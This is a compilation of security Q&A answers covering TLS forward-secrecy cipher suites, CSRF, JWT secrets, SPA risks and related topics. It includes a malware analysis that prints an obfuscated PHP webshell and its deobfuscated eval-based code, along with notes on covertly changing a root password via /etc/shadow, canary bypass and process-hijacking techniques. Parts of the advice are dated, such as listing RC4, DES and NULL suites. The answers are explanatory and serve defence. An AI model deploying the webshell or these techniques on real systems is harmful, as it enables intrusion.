Which forward secrecy cipher suites are supported for TLS1.0 protocols?

As listed in the OpenSSL docs, the following TLS 1.0 suites support PFS via Diffie-Hellman Ephemeral:

 TLS_DHE_DSS_WITH_DES_CBC_SHA            DHE-DSS-CBC-SHA
 TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA       DHE-DSS-DES-CBC3-SHA
 TLS_DHE_RSA_WITH_DES_CBC_SHA            DHE-RSA-DES-CBC-SHA
 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA       DHE-RSA-DES-CBC3-SHA

 TLS_DHE_DSS_WITH_AES_128_CBC_SHA        DHE-DSS-AES128-SHA
 TLS_DHE_DSS_WITH_AES_256_CBC_SHA        DHE-DSS-AES256-SHA
 TLS_DHE_RSA_WITH_AES_128_CBC_SHA        DHE-RSA-AES128-SHA
 TLS_DHE_RSA_WITH_AES_256_CBC_SHA        DHE-RSA-AES256-SHA

 TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA  DHE-DSS-CAMELLIA128-SHA
 TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA  DHE-DSS-CAMELLIA256-SHA
 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA  DHE-RSA-CAMELLIA128-SHA
 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA  DHE-RSA-CAMELLIA256-SHA

 TLS_DHE_DSS_WITH_SEED_CBC_SHA          DHE-DSS-SEED-SHA
 TLS_DHE_RSA_WITH_SEED_CBC_SHA          DHE-RSA-SEED-SHA

If we include the Elliptic Curve ciphers, the following also implement PFS:

 TLS_ECDHE_RSA_WITH_NULL_SHA             ECDHE-RSA-NULL-SHA
 TLS_ECDHE_RSA_WITH_RC4_128_SHA          ECDHE-RSA-RC4-SHA
 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA     ECDHE-RSA-DES-CBC3-SHA
 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA      ECDHE-RSA-AES128-SHA
 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA      ECDHE-RSA-AES256-SHA

 TLS_ECDHE_ECDSA_WITH_NULL_SHA           ECDHE-ECDSA-NULL-SHA
 TLS_ECDHE_ECDSA_WITH_RC4_128_SHA        ECDHE-ECDSA-RC4-SHA
 TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA   ECDHE-ECDSA-DES-CBC3-SHA
 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA    ECDHE-ECDSA-AES128-SHA
 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA    ECDHE-ECDSA-AES256-SHA

If you also want to include TLS 1.2 (note that there are no TLS 1.1 specific suites) then you can expand the list to include:

 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256       DHE-RSA-AES128-SHA256
 TLS_DHE_RSA_WITH_AES_256_CBC_SHA256       DHE-RSA-AES256-SHA256
 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256       DHE-RSA-AES128-GCM-SHA256
 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384       DHE-RSA-AES256-GCM-SHA384

 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256       DHE-DSS-AES128-SHA256
 TLS_DHE_DSS_WITH_AES_256_CBC_SHA256       DHE-DSS-AES256-SHA256
 TLS_DHE_DSS_WITH_AES_128_GCM_SHA256       DHE-DSS-AES128-GCM-SHA256
 TLS_DHE_DSS_WITH_AES_256_GCM_SHA384       DHE-DSS-AES256-GCM-SHA384

 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256     ECDHE-RSA-AES128-SHA256
 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384     ECDHE-RSA-AES256-SHA384
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256     ECDHE-RSA-AES128-GCM-SHA256
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384     ECDHE-RSA-AES256-GCM-SHA384

 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256   ECDHE-ECDSA-AES128-SHA256
 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384   ECDHE-ECDSA-AES256-SHA384
 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256   ECDHE-ECDSA-AES128-GCM-SHA256
 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384   ECDHE-ECDSA-AES256-GCM-SHA384

 TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 ECDHE-ECDSA-CAMELLIA128-SHA256
 TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 ECDHE-ECDSA-CAMELLIA256-SHA384

 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256   ECDHE-RSA-CAMELLIA128-SHA256
 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384   ECDHE-RSA-CAMELLIA256-SHA384


the *25519 algos specify little-endian. I myself was taken aback by that, so I tried to figure out why.
My understanding is that the point of Ed25519 and its relatives is to pick out of the wide space of possible curves and implementations a subset both efficient and resistant to a number of attacks. To that end, it specifies both calculation steps, primitives, and the representation to be used - which is little endian.

So, the key representation you get here is exactly as used in the algorithm. The only point in reversing it (and needing to reverse again before use) would be the consistency of key representation, and some distaste for little-endian.

And because we're all trying to be mature, someone made the decision to keep the key as the algorithm would expect it for use, to save others unnecessary conversions and confusion.


spkac: what is the purpose of the challenge string?

From the OpenSSL documentation on the subject:

  The challenge string permits a primitive form of proof of possession of private key. By checking the SPKAC signature and a random challenge string some guarantee is given that the user knows the private key corresponding to the public key being certified. This is important in some applications. Without this it is possible for a previous SPKAC to be used in a "replay attack".


What is a viable time-frame for links that expire?

IMHO 10-15m is too short for almost all cases.
It practically excludes almost all delayed deliveries e.g. due to

greylisting (quite widespread anti-spam technique)
temparary overloads or temporary network problems

RFC1123/5.3.1 recomends delivery retries no more often than 30 minutes.
Anyway very short timeout (2-5 minutes) may make some sense in higher security procedures.


Does client certificate do any encryption in https connection?

The operation performed is similar to server authentication with the following differences.

After sending the message ServerKeyExchange, the server indicates to the client that it wishes to authenticate the client via a CertificateRequest message; the client then sends its certificate. The TLS handshake operation is performed normally but after sending the ClientKeyExchange message, the client sends a CertificateVerify message that contains a signature of the previous handshake messages. Server and client then compute a value from the random numbers exchanged and the PreMasterSecret and the client then sends a ChangeCipherSpec and the operation continues as without client authentication.

As you can see the server checks if the client has possession if the private key; not just that it trusts the client cert.


Do SPA applications have different security considerations than HTML5 sites?

Are SPA applications more or less immune to CSRF, XSS, or other normal attacks?

Generally, no.  The interaction between the client and the server should similar, if not identical to that of a plain-old-AJAXifed web app.  You're still dealing with HTTP requests and responses that are coming from an untrusted client, and must according be treated carefully, but there's no particular additional risk that I see as a rule.

However:

There are two of the OWASP Top 10 that are potentially more likely to be improperly guarded against.

1) Sensitive Data Exposure

If you're not carefully about what data is contained by the initial page load, you could easily be sending data that shouldn't necessarily be exposed to all users.  Because the entire page isn't generally visible in the browser in an SPA, this can lull a careless developer into a false sense of security.

2) Missing Function Level Access Control

In my mind, this is the big one when it comes to SPAs.  Since you're moving functions and logic off of the server and out onto the client, it's very, very easy to provide a client with access to functions that he is not authorized to use.  To some degree this can be mitigated by the fact that your data endpoints should also be separately protected and this should cause any attempts to use unauthorized functions to fail, but this is the one that gives me heartburn.

Are there misconceptions about how to do SPA applications that lead to security vulnerabilities?

Yes.  A major misconception (by less security conscious developers, in any case) is that the application logic still belongs to you, and that you can rely on JavaScript in the browser for things like input validation and function authorization.   As we all know, you can't.   If it's on the client, it doesn't belong to you.   Any validation and authorization that happens on the client is UX, not application security.   Your endpoints on the server are ultimately and totally responsible for ensuring the security of the data and the application.

Are authentication concerns different? (HTML5 Session usage vs passing parameters to the second SPA page)

Not that I can think of.   Remember, SPAs aren't a fundamentally different model, just a new way for allowing users to interact with a web application in a manner that takes advantage of modern browser capabilities to provider a better user experience.


In general you could use Yubikey or Nitrokey but it depends on what you expect a HSM to do. Products of both vendors prevent users from accessing the private key being stored in the device. Only Nitrokey HSM has advanced key management features such as m-of-n access protection, key policies etc. which is usually expected of a professional HSM. See the Nitrokey HSM factsheet for more details. There is also a Yubikey HSM and its name implicates similar features but AFAIK it does not and instead contains features very specific for OTP usage.

Yubikey's button can be used to allow signing operations. Depending on your use case this might be an advantage. Professional HSMs may be used remotely or on dedicated trusted computers and in such cases a button may not be desired.


Why is " Generic MIME used" a security vulnerability?

Strictly speaking it is not a vulnerability but it is a security issue because the visitor's browser (or more accurately, the User Agent) is being given information that could be processed

at a minimum, wrongly.
possibly execute server-supplied code in an unintended context

  Is it possible to exploit this kind of vulnerability?

I don't see how your server would be directly at any technical risk due to this. Your clients (visitors to your site) would be, thus exposing you to other risks such as reputation risk and/or legal risk.


Is homebrew's change of usr/local/bin to r/w a security issue?

This is an interesting question, the article that you mention gives a great summary of the technical issues in this change.
Let's look at your question in more detail: "Is this legit and an actual safety concern?"

Is it legit?

Absolutely the article is technically accurate. In summary by allowing more users to write to a directory that is high up the path it allows for some interesting types of attacks.

Is it an actual safety concern?

If I may I think you are trying to ask "Should I be worried about this?". The reason I like to rephrase this is simple, there are plenty of issues out there that are legitimate security concerns that people choose not to do anything about. This can range from behaviour (connecting to public wifi) to bugs in software which the vendor has chosen not to fix.
Unfortunately, no-one can tell you whether a particular issue is worthy of taking action over without knowing much more about your environment and attitude to risk.
For example, I am ok (on my personal MacBook) to keep home-brew installed on the system with the default options. Why? Put simply the benefit I get on a system I use for development from having brew installed outweighs the risk.
Please note, this is my personal choice and not a recommendation for you!
If I was running a Mac based shared server I would be less comfortable with this, I would be trying to lock down as many accounts as I can and preventing most users from being able to impact global settings.
In summary, you need to consider your (or your organisations) attitude to risk and decide for yourself whether the changes that homebrew make during a default install are acceptable to you or not.


How to make secure communication between servers

I need to application 1 make a POST on application 2, but on application 2 I need to make sure that POST comes from the application 1.

For the purpose of this post, I'm going to call application 1 the Client, and application 2 is the Server.
Let's start with:

My biggest worry is Man In The Middle attack.

Ensure that when the Client makes a connection to the Server, the client must confirm the identity of the Server, and ensure there is no Man In The Middle. (MITM) This is the same problem browsers face when trying to make a secure connection for Online Banking or other sensitive operations.

This is easily secured using a standard HTTPS certificate (which would use TLS encryption). The connection is secured by using Asymmetric Cryptography, such that the only way to accomplish MITM would be to steal the private key from the Server's filesystem.
A certificate can be issued from a Certificate Authority with renewal every few years, or you could create a self-signed certificate stored on the Client system at no cost.

Now with Server identity, and MITM successfully thwarted; you need only to verify the identity of the Client. There are several ways to proceed. Pick one

Shared Secret: simply include a password on the Client machine, and the Server must verify that it is matched. This is the most straight-forward way to verify client identity, and is safe thanks to HTTPS.

Client certificate as part of the TLS connection: While HTTPS provides a means for client certificates, I find this to be more complicated than necessary.

Time-of-day with encryption: Create yourself a separate RSA private and public key. Store the public key on the Client, and the Server will use the Private key to decrypt. The client will encrypt the time of day, and the server will verify that it is correct. (within range)

Challenge-response: In this case, a Public RSA key is stored on the Server, and Private Key on the client. The server sends a random string to the client, along with a request id, and the client must be able to decrypt the info and send it back with the matching request id. If decryption was successful, then Client identity is verified.
The benefit this has over the others is that, supposing, an attacker successfully hacks your server and downloads files, he will not be able to impersonate a Client without a more advanced hack. (though he would be a step closer to MITM) With solutions 1, 2 and 3, simply downloading the appropriate files from the server filesystem would provide the necessary info to impersonate a Client.

Solutions 3 and 4 would are best accompanied with a protection against Replay Attacks. Solution 1 is not compatible with Replay attack prevention. However, in your use case, using HTTPS, I think Replays are only an issue after a successful hack of the Server filesystem thereby permitting MITM.
Bonus:

IP Address: If possible, have the Server verify that the connection originates from a pre-determined Client IP address. If the Client IP address is verified not to change, this Bonus protection will provide a great deal of protection against any attacks on the above solutions I have provided.


How could someone change a root password without modifying `chage -l root` date?

Assuming your system is using regular simple unix authentication, there's at least one way of changing a password assuming you have root access.

You can do this by simply editing the /etc/shadow file and pasting in a new password hash in place of the old one. This does not influence "chage -l" output as the change is done outside tools, so no other data (modification date etc) is modified.


Using cat to overcome 'Stack smash detected'

This avoids the stack smashing detection because the checking of the stack cookie/canary happens only at the function's epilogue.

Since the challenge you posted requires smashing something on the stack directly that is used in a logic check in the same function, the canary isn't checked by the time you receive your shell.

The canary mainly prevents against stack smashing to overwrite the return address.

The comment on the question about the cat command being present to allow input/output redirection is correct, otherwise the shell opens and is immediately closed.


When is it best to use a Rainbow Table attack?

Given that a Rainbow Table attack means that one must first precompute and store a lot before the attack can be done, it is best used when this trade-off is doable and it is worth the problem. This means for once that everything precomputed fits even into an acceptable storage. Additionally the rainbow table  should get used many times, so that the huge overhead of precomputing once gets pays off by using it a lot.
A typical example where this works are breaking unsalted password hashes: the hashes for typical passwords can be precomputed once and then used again and again to crack new password dumps. That's why unsalted passwords are a bad idea.
A typical example where this does not work are properly salted passwords: with the random salt one needs way more time and memory to store all possible hashes for a typical password and this effort does not pay off. That's why random salting is the usual way to defend against rainbow table attacks.


Shared secret when using JWT with an HMAC for authentication

"Shared secret" in this case typically means between multiple servers, not between the client and the server.  Typically, JWTs can be done using symmetric encryption - in which case all servers that need to verify the token need to have the shared secret - or asymmetric encryption, in which case only the server actually doing the authentication needs to have the private key, the other servers can just use the public key to verify that the token is appropriately signed.

In no case should a client have the ability to alter their token - they receive the token upon presenting credentials, then use the token to obtain services, either from the same server, or from other servers who share a trust relationship with the authorizing server (either through the public/private key knowledge or through a shared key)


using NoScript - what approach to use with randomnly named CDN scripts?

The Cloudfront URL is a unique identifier for namecheap' CDN.

There is nothing to worry about these urls.
Regarding your question why to use such URL: my guess is that they don't use Cloudfront for their entire website (maybe not AWS at all). So they only use Cloudfront for their assets.

Although I don't see it your screenshot if the Cloudfront URL is used by the website  itself or by a third party library.


How to know whether a textfile has been edited or tampered with on the local system?

I fear that the answer is "it's not possible"

You are right.

The user have the save file, and the executable. He can change the save file as much as he wants, and he have an infinite number of trials to change it, as he have access to the validator: the game executable. He can even run the executable under a debugger, set breakpoints on key functions, and infer how the save file works, and create a save editor.

  Can this be done entirely on the local system, without resorting to storing hashes or signatures on a secure remote system?

If asking the user "please don't alter the save file" does not work, it cannot be done.


The URL https://www.wootbox.de/ exists for the sole purpose of redirecting you to the unencrypted http:// version using an HTTP "302" Redirect.  The 302 response below tells the web browser to resubmit their request to the "Location:" of http://www.wootbox.de/.

$ wget -S -O - https://www.wootbox.de
--2016-08-11 18:40:16--  https://www.wootbox.de/
Resolving www.wootbox.de (www.wootbox.de)... 104.45.3.115
Connecting to www.wootbox.de (www.wootbox.de)|104.45.3.115|:443... connected.
HTTP request sent, awaiting response...
  HTTP/1.0 302 Moved
  Date: Thu, 11 Aug 2016 18:37:55 GMT
  Server: Apache/2.4.7 (Ubuntu)
  X-Powered-By: PHP/5.5.9-1ubuntu4.17
  Cache-Control: no-cache
  Location: http://www.wootbox.de/
  Content-Length: 0
  Connection: close
  Content-Type: text/html; charset=utf-8

This would not normally be a problem - many sites prefer you use HTTP for non-sensitive actions to save on the overhead.  However, I notice that the login page is set to POST your credentials to the unencrypted HTTP address:

<form action="http://www.wootbox.de/anmeldung" method="post" id="login_form" class="box wootbox-auth">
  ...

  Passwort
  <input class="is_required validate account_input form-control" type="password" data-validate="isPasswd" id="passwd" name="passwd" value="">
  ...

This implies that the site is actively eschewing security, not merely redirecting browsers when security isn't necessary.

Tools like SSL Labs don't care about that HTTP redirect, so they probe the working SSL server for all their testing and provide you a report.  However, the application layer - the thing the SSL connects you to - tells your browser to come back without SSL, and so it does.


Trust in mutual TLS on chain of certificates in multi-intermediate-CA configuration

When the client connects via SSL/TLS, the server will present its certificate chain, i.e. it will present its own certificate but can also offer the certificate for CA B.

If the server only presents its own certificate, then the client cannot validate the certificate and must close the connection or stop to ask the user.

If the server presents both certificates (and the client trusts the root CA, and certificates are valid for the usages and the server name) the client will accept the certificate as trusted.

In the case of PEM encoded certificates, the certificate chain is created by concatenating the certificates:

cat CA_B.pem >>myserver.pem

With pkcs12, its slightly more involved.


Installed TPM, how to use BitLocker without USB key?

The operating system needs to claim the TPM. That can be done by clearing it first. After that, the boot process gets attested and the Bitlocker key can be unlocked using TPM. Please note that anytime you change something in the BIOS or the startup sequence or add additional hard drives or USB thumb drives, the unlock key needs to be entered again.


OpenPGP keyserver URLs: what are typical or meaningful use-cases?

The Option

This option allows you to setup the preferred key server others should (but not must) use when refreshing your key. This could be your own, or the one your institution provides. A preferred key server can reduce the synchronization latency between OpenPGP participants.

Key Exchange Protocols

You must not enter the http URL of the key server. GnuPG uses another protocol for key exchange, namely hkp. For pgp.mit.edu use hkp://pgp.mit.edu.

There is a post on security.pgp-basics describing all the available protocols:

ldap (might be important in some enterprise scenarios)
hkp (the de-facto standard for all key server operations ourdays)
http
finger
mailto (had broad usage in earlier days, especially for exchanging information between key servers)

SKS Key Server Pool

Even better, use the SKS key server pool MIT is participating in: hkp://pool.sks-keyservers.net. Most key servers (but http://wwwkeys.pgp.net) are well-connected among each other and synchronize very fast, so selecting a distinct key server isn't very important. Using the SKS key server pool is usually recommended, as it contains all the relevant key servers and increases availability over using a dedicated key server.


Don't encrypt the hard drive, but make it impossible to change things without a password?

What you are asking is not achievable for several reasons.

Problem 1: What block size of data would correspond to a single authentication tag?

Block size is smallest for SSD which is 4K. Tags are smaller, 256 bits or so, and assumed to be stored on SSD as well. This leads to write amplification on the side of SSD holding authentication tags, unless your writes are within 512K boundaries (half megabyte). Number comes from the fact that one 4K block can hold 128 tags, so one 4K block full of tags would correspond to 128 data blocks, each 4K in size.
Block size is again 4K but each authentication tag occupies 4K as well. This nullifies write amplification but storage required for tags is same as for data, ratio is 1:1. Terabyte of data comes with a terabyte of authentication tags.
Block size is larger. This leads to less space needed for authentication tags. The larger data block becomes the less space is used for authentication but at same time more data must be processed to compute tags. This leads to an effect similar to write amplification.

Problem 2: Hashing is more computationally expensive than encryption.

Hashing algorithms used in cryptography in the past like SHA1 used to be significantly more expensive in terms of cpb. Modern hashing like SipHash and another russian I cannot name from memory are becoming very close to stream ciphers but are still above them. They will not become cheaper than ciphers.
Block ciphers could be used for authentication. LRW mode could be used for example, but in that scheme each data block goes through two block encryption operations. So it is not going to be "cheaper than encryption."
Stream ciphers cannot be used for authentication.


IDSs and several deep inspection firewalls (sometimes called NGFW or UTM) can usually detect whether the traffic is HTTP or not. Also a HTTP proxy in front would simply block anything which is not proper HTTP.

But be aware that it is possible to build a reverse shell where the traffic will look like HTTP, so this filtering will only help a bit.


ASP.NET - why default SecurityStamp validation interval is set to 30 minutes?

It's to improve performance on larger scale applications.

Each SecurityStamp validation requires a database hit. With the validation interval set to zero, this would cause a database hit for every request. At 30 minutes, this keeps the window for abuse fairly low while drastically reducing the number of queries required.

As a worked example, a system with 10,000 concurrent users each making just 5 requests per minute would require 50,000 validation hits per minute when the interval is zero. Changing that interval to 1 minute reduces that to 10,000 hits per minute. Leaving the interval at the default of 30 minutes drops the rate to just 333 queries per minute, which is unlikely to be a cause of performance issues in any application at any scale, hence why it's the default. You can imagine that a short validation interval on an Ajax-heavy design making 10-20 web calls per page load and a few ongoing repeated queries might cause problems at scale.

You can tune this interval down to a minute or so if you are not expecting a large number of users.


How to protect a Wifi network from Microsoft WiFi Sense

Just to add on, _optout_ can be added anywhere in the SSID not necessarily at the end. However, Google's _nomap has to be placed at the end.

Yes, 802.11x will networks will not be shared through WiFi sense.
Official source: Microsoft WiFi sense FAQ. Look under "I'm concerned about sharing Wi‑Fi networks. Can you tell me a little more?"

Theoretically, another way to protect a network is use the "hidden SSID" feature. This feature disables the broadcast of the SSID in beacons. Thus, the client device will need to know the SSID to send a probe request to the AP. WiFi Sense will not work here because without the SSID, there is no way for the client device to check if it the SSID is among those that are shared.

Note: This is only in theory, I am unable to find information on the web proving or disproving the above.


Is there any effective server-side prevention technique against PHP-aided CSRF?

I think you are misunderstanding how an CSRF-attack works, and why CSRF-tokens protects against them. So lets begin with how one works.

The attacker fools the victim to visit http://evil.com that contains a form that automatically does a POST to http://bank.com/transfer?to=evilHacker&amount=1000000. If the victim is already logged in to her bank, the cookie with the session ID will be sent like usual by the browser and there is no way for the bank server to know that the victim did not actually intend to transfer the money. Note that this relies on the browser sending the cookie with the session ID to bank.com.

So how can a CSRF-token help? If the bank.com always checks that a random token unique to that session is present in the request, evil.com can not forge the request since the evil hacker running that site does not know what the token is.

The referer check works in a similar way. The request made by the browser from the site evil.com would have evil.com and not bank.com as the referer. Browsers do not allow modification of the referer header, so the attacker can't forge that.

So what about your line of attack - having the attacker request the site with a PHP script on her server to get the CSRF-token? This will not work, because the attacker will not get the victims CSRF-token. The token is unique to the session, and hence the cookie with the session ID. But the attackers does not know what session ID the victim has, so she can not include it in the request.

Notice the difference to the first scenario, where the browser included the cookie. That can not happend on the server.


Yes, barcode scanners present a potential vulnerability.  You need to prevent attacks from this vector in the same way you'd prevent attacks from any input vector, such as a network connection or a keyboard.

Validate inputs in the app, not the scanner. Do not rely on configuring the scanner to only deliver 12 digit UPC-A barcodes. As every web app developer quickly learns, trusting the client to perform input sanitization is a giant security hole. Use length checks in the app to ensure that buffer overflows can't be exploited. Perform white-listing value checks to make sure you don't have out-of-bounds characters (for example, if you're expecting the user to scan only a product UPC-A or EAN-13 barcode, you should throw an exception if the input detects any non-digit values.)
Code defensively. Just as with a web app, you need to make secure coding choices such as parameterized SQL. You should already be doing this to protect against keyboard-entered SQL injection attacks; barcodes are nothing special here.
Harden your devices.  Most barcode scanners are initially configured by scanning a series of special manufacturer provided barcodes (your scanners' documentation will describe these symbols.)  Read the scanners' documentation to find the way to configure the scanners from the host computer via the data connection. Once you can configure the scanners from the computer, do so. Among the configuration items to set, you should disable the scanner's ability to read the configuration barcodes.


How is Insufficient Attack Protection a Definite Threat/Risk to an Organization?

"Insufficient Attack Protection" is a horrible choice of words, but I don't have a suggestion on how to improve it.

I've overseen applications which were missing really basic detection abilities and it's frustrating trying to communicate the urgency of some kind of response to the application team.

Imagine an application with:

no protection against brute force password attacks,
no logging of login attempts,
no logging of session initiation or completion,
no logging of attempts to manipulate expired sessions etc.

I found myself writing brittle and awkward Snort signatures to extract basic logging data and tuning application firewalls to try to make up for missing behaviours while application teams simply said "meh, it's infosec's problem".

IPS signatures can't know "is this a valid user?" or "is this session active?" or "how much data has this person used today?", but application logic may have access to this information, or maybe just having the sessions logged would mean the SIEM could perform the logic.

Regarding scamdemy's article, I think he has it wrong.  This has nothing to do with third-party components.  Many of the security articles coming out on the proposed 2017 A7 seem to be knee-jerk reactions to pumping out a response to OWASP's new Top-10, it gets attention I suppose, but I don't think the authors have given their response careful thought.

The external links inside the A7 cheatsheet are far, far more descriptive:

http://cwe.mitre.org/data/definitions/778.html
http://cwe.mitre.org/data/definitions/799.html
http://projects.webappsec.org/w/page/13246938/Insufficient%20Anti-automation

IMHO, A7 needs some tweaking, I think "patching" references should be removed.  Infosec can do virtual patches or dev processes can patch, but the references here detract from what I believe is their core message.


I can't understand how do hackers get into servers when the website is secure?

Just some question you might ask yourself to understand how an hacker might compromise your site which are mostly not covered by the post you referenced.

How do you know that the website itself is secure? What did you check (possible file uploads, SQL injection, remote command execution...)
How do you know that your server platform is secure? Shellshock and Heartbleed show that the platform itself might be vulnerable.
Who has access to your system.? How do you deal with brute force password attacks?
If you run your site inside a VPS - who has access to the host system?
If you login from home - who has access to your home system and how you can be sure that it is or gets compromised so that a hacker can sniff your passwords or get access to the SSH keys? And you should ask this question for everybody who has access to the system which includes the administrator of the machine which hosts your VPS.
If you run a dedicated system - who has access to the data center?


What does this malware php file does and what should be done about it?

Beautifying this code somewhat gives me this:

$zvqhai = 'k-98i3v\'raxn*ycdml#u64_gebts2oH5pf';
$npazfw = Array();
$npazfw[] = $zvqhai[30] . $zvqhai[12];
$npazfw[] = $zvqhai[9] . $zvqhai[24] . $zvqhai[21] . $zvqhai[15] . $zvqhai[2] . $zvqhai[21] . $zvqhai[24] . $zvqhai[15] . $zvqhai[1] . $zvqhai[33] . $zvqhai[14] . $zvqhai[24] . $zvqhai[21] . $zvqhai[1] . $zvqhai[21] . $zvqhai[21] . $zvqhai[9] . $zvqhai[3] . $zvqhai[1] . $zvqhai[25] . $zvqhai[14] . $zvqhai[25] . $zvqhai[28] . $zvqhai[1] . $zvqhai[25] . $zvqhai[25] . $zvqhai[20] . $zvqhai[3] . $zvqhai[2] . $zvqhai[15] . $zvqhai[14] . $zvqhai[2] . $zvqhai[31] . $zvqhai[28] . $zvqhai[5] . $zvqhai[31];
$npazfw[] = $zvqhai[18];
$npazfw[] = $zvqhai[14] . $zvqhai[29] . $zvqhai[19] . $zvqhai[11] . $zvqhai[26];
$npazfw[] = $zvqhai[27] . $zvqhai[26] . $zvqhai[8] . $zvqhai[22] . $zvqhai[8] . $zvqhai[24] . $zvqhai[32] . $zvqhai[24] . $zvqhai[9] . $zvqhai[26];
$npazfw[] = $zvqhai[24] . $zvqhai[10] . $zvqhai[32] . $zvqhai[17] . $zvqhai[29] . $zvqhai[15] . $zvqhai[24];
$npazfw[] = $zvqhai[27] . $zvqhai[19] . $zvqhai[25] . $zvqhai[27] . $zvqhai[26] . $zvqhai[8];
$npazfw[] = $zvqhai[9] . $zvqhai[8] . $zvqhai[8] . $zvqhai[9] . $zvqhai[13] . $zvqhai[22] . $zvqhai[16] . $zvqhai[24] . $zvqhai[8] . $zvqhai[23] . $zvqhai[24];
$npazfw[] = $zvqhai[27] . $zvqhai[26] . $zvqhai[8] . $zvqhai[17] . $zvqhai[24] . $zvqhai[11];
$npazfw[] = $zvqhai[32] . $zvqhai[9] . $zvqhai[14] . $zvqhai[0];

foreach($npazfw[7]($_COOKIE, $_POST) as $jgbht => $mbfusps)
{
    function dopvqef($npazfw, $jgbht, $dxflrm)
    {
        return $npazfw[6]($npazfw[4]($jgbht . $npazfw[1], ($dxflrm / $npazfw[8]($jgbht)) + 1) , 0, $dxflrm);
    }

    function awtsdc($npazfw, $wiuhpx)
    {
        return @$npazfw[9]($npazfw[0], $wiuhpx);
    }

    function qjgaieb($npazfw, $wiuhpx)
    {
        $vyaygn = $npazfw[3]($wiuhpx) % 3;
        if (!$vyaygn)
        {
            eval($wiuhpx[1]($wiuhpx[2]));
            exit();
        }
    }

    $mbfusps = awtsdc($npazfw, $mbfusps);
    qjgaieb($npazfw, $npazfw[5]($npazfw[2], $mbfusps ^ dopvqef($npazfw, $jgbht, $npazfw[8]($mbfusps))));
}

This isn't much use although it does seem to be a webshell. Let's dig into it a bit more. Intuition tells me that the first 12 lines or so are for string obfuscation, and dumping the contents of $npazfw will give us the real string values. To do this we can remove the foreach loop and just run this:

for ($i = 0; $i < count($npazfw); $i++)
{
    echo $i . " => " . $npazfw[$i] . "\n";
}

The results are:

0 => H*
1 => ae4d94ed-fce4-44a8-bcb2-bb689dc95235
2 => #
3 => count
4 => str_repeat
5 => explode
6 => substr
7 => array_merge
8 => strlen
9 => pack

This helps a lot! We can now use this to deobfuscate a lot of the rest of it.

Renaming everything and giving variables some proper names, and removing redundant parameters, we get this:

foreach(array_merge($_COOKIE, $_POST) as $input_value_name => $input_value)
{
    function keystream_generate($input_value_name, $len)
    {
        return substr(str_repeat($input_value_name . "ae4d94ed-fce4-44a8-bcb2-bb689dc95235", ($len / strlen($input_value_name)) + 1) , 0, $len);
    }

    function bytesfromhex($hex)
    {
        return @pack("H*", $hex);
    }

    function execute_code($params)
    {
        $param_count_mod3 = count($params) % 3;
        if (!$param_count_mod3) /* this is an obfuscated check for count($params) == 3 */
        {
            eval($params[1]($params[2]));
            exit();
        }
    }

    $input_value = bytesfromhex($input_value);
    execute_code(explode("#", $input_value ^ keystream_generate($input_value_name, strlen($input_value))));
}

Effectively what this does is look in all the cookies and post parameters to find a valid encrypted command payload, then decrypt and eval that payload if one is found.

As for what to do about it, I recommend that you read this question.


ISO 27001 and copying code from stackoverflow

I can hardly imagine an example or direct copy-paste from SO. I do see SO as a nice source for high quality code samples, and I have often used portions of code from SO answers, but then I have always slightly modified this code so that it smoothly integrates into mine: change variable names or formatting so that it respects my own coding standards, remove parts not relevant for my use case, add others. So it now becomes my code.

What is interesting in SO codes is the patterns, the implementation ways, and the comments around the code. It makes sense that code only answers are not well received. So blindly copying code is a poor usage of SO and hopefully is forbidden by your organization rules.


What is the point of spam mails containing nothing but random letters?

Spam mails containing nothing but random letters can be used to determine the filtering and defensive capabilities of a target.

By analyzing how the system reacts, the attacker can gain valuable information on how much useful (for him) spam he can later send and successfully received by the target via a more elaborate attack.

So think about how your system reacts: will it block spam after 10, 100, 1k attempts of such junk delivery or not at all ? This is one of the important indicators that is used in the reconnaissance.


Secure to run a tor bridge as current user?

The risks of running Tor as your regular user
This depends on your threat model. Running any network-connected daemon as a non-privileged user is of course a good idea, but running it as your own user may not be. Under Linux and most Unices, the security model is designed only to protect one user from another, not one process from another process if they both have equal permissions. As such, a compromised process running as your current user may be able to, using various techniques, hijack your browser or log your keystrokes. Whether or not this is considered an unacceptable risk is up to you. For a few examples of possibilities, assuming Tor is compromised by an exploit over the network, the Tor process can:

Use LD_PRELOAD or LD_LIBRARY_PATH to inject libraries into commands.
Use ptrace() or related syscalls to directly modify the memory of running processes.
Modify PATH to replace privileged commands with malicious ones.
View and inject keystrokes or mouse actions using the X11 protocol.

All of these are only possible if the compromised process and a sensitive target process (password manager, browser, etc) are running as the same user. This is what running a daemon as a dedicated, single-purpose user is designed to prevent. A process running as the user tor can only hijack other processes under that user, but not for root, www-data, joesmith, or any others.
All-in-all, the risk is likely fairly low, as Tor is designed well and should not be particularly easy to remotely hijack. While that's obviously no excuse for avoiding defense in depth, it does mean that you are not exposing a huge attack surface by running it on the network, as long as you keep it up to date.
Why using sudo may be a bad idea
